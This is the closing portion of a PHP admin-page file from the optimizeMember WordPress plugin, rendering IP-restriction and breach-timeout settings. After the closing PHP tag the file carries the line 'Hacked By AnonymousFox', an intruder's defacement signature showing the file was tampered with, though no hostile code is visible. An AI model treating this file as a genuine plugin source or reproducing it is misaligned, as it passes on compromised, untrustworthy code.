echo '<option value="5"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 5) ? ' selected="selected"' : '') . '>Allow up to 5 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="10"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 10) ? ' selected="selected"' : '') . '>Allow up to 10 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="20"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 20) ? ' selected="selected"' : '') . '>Allow up to 20 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="30"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 30) ? ' selected="selected"' : '') . '>Allow up to 30 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="40"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 40) ? ' selected="selected"' : '') . '>Allow up to 40 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="50"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 50) ? ' selected="selected"' : '') . '>Allow up to 50 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="75"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 75) ? ' selected="selected"' : '') . '>Allow up to 75 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="100"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 100) ? ' selected="selected"' : '') . '>Allow up to 100 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="0"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 0) ? ' selected="selected"' : '') . '>Allow infinite IPs ( all IP Restrictions are disabled )</option>' . "\n";
echo '</select>' . "\n";
echo (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) ? '<br />The default period of "30 days" could be modified through this WordPress Filter:<br /><code>ws_plugin__optimizemember_ip_restrictions__concurrency_time_per_ip</code>' . "\n" : '';
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-max-ip-restriction-time">' . "\n";
echo 'Security Breach Timeout Period:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<select name="ws_plugin__optimizemember_max_ip_restriction_time" id="ws-plugin--optimizemember-max-ip-restriction-time">' . "\n";
echo '<option value="300"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 300) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 5 mins )</option>' . "\n";
echo '<option value="900"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 900) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 15 mins )</option>' . "\n";
echo '<option value="1800"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 1800) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 30 mins )</option>' . "\n";
echo '<option value="3600"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 3600) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 1 hour )</option>' . "\n";
echo '<option value="7200"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 7200) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 2 hours )</option>' . "\n";
echo '<option value="14400"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 14400) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 4 hours )</option>' . "\n";
echo '<option value="21600"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 21600) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 6 hours )</option>' . "\n";
echo '<option value="28800"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 28800) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 8 hours )</option>' . "\n";
echo '<option value="43200"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 43200) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 12 hours )</option>' . "\n";
echo '<option value="86400"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 86400) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 24 hours )</option>' . "\n";
echo '<option value="172800"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 172800) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 2 days )</option>' . "\n";
echo '<option value="345600"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 345600) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 4 days )</option>' . "\n";
echo '<option value="604800"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 604800) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 1 week )</option>' . "\n";
echo '<option value="1209600"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 1209600) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 2 weeks )</option>' . "\n";
echo '<option value="2629743"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 2629743) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 1 month )</option>' . "\n";
echo '<option value="5259487"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 5259487) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 2 months )</option>' . "\n";
echo '<option value="7889231"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 7889231) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 3 months )</option>' . "\n";
echo '<option value="15778463"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 15778463) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 6 months )</option>' . "\n";
echo '<option value="31556926"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction_time"] == 31556926) ? ' selected="selected"' : '') . '>If limit is exceeded ( punish for 1 year )</option>' . "\n";
echo '</select><br />' . "\n";
echo 'When/if you change this, you should also <strong>Reset IP Restriction Logs</strong> ( click button above ).' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_ip_restrictions", get_defined_vars ());
}
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_after_left_sections", get_defined_vars ());
/**/
//echo '<div class="ws-menu-page-hr"></div>' . "\n";
/**/
echo '<p class="submit"><input type="submit" class="op-pb-button green" value="Save All Changes" /></p>' . "\n";
/**/
echo '</form>' . "\n";
/**/
echo '</td>' . "\n";
/**/
echo '<td class="ws-menu-page-table-r">' . "\n";
c_ws_plugin__optimizemember_menu_pages_rs::display ();
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '</tbody>' . "\n";
echo '</table>' . "\n";
/**/
echo '</div>' . "\n";
echo '</div>' . "\n";
}
}
}
/**/
new c_ws_plugin__optimizemember_menu_page_res_ops ();
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox